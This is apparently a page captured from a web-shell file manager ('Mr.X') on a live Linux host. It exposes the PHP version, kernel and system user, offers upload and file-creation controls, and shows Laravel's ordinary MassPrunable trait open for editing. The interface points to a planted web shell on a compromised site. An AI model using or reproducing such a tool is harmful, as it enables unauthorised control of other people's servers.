🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:MassPrunable.php
<?php namespace Illuminate\Database\Eloquent; use Illuminate\Database\Events\ModelsPruned; use LogicException; trait MassPrunable { /** * Prune all prunable models in the database. * * @param int $chunkSize * @return int */ public function pruneAll(int $chunkSize = 1000) { $query = tap($this->prunable(), function ($query) use ($chunkSize) { $query->when(! $query->getQuery()->limit, function ($query) use ($chunkSize) { $query->limit($chunkSize); }); }); $total = 0; $softDeletable = static::isSoftDeletable(); do { $total += $count = $softDeletable ? $query->forceDelete() : $query->delete(); if ($count > 0) { event(new ModelsPruned(static::class, $total)); } } while ($count > 0); return $total; } /** * Get the prunable model query. * * @return \Illuminate\Database\Eloquent\Builder<static> * * @throws \LogicException */ public function prunable() { throw new LogicException('Please implement the prunable method on your model.'); } }
Save Changes
Cancel
Create New File
Create New Folder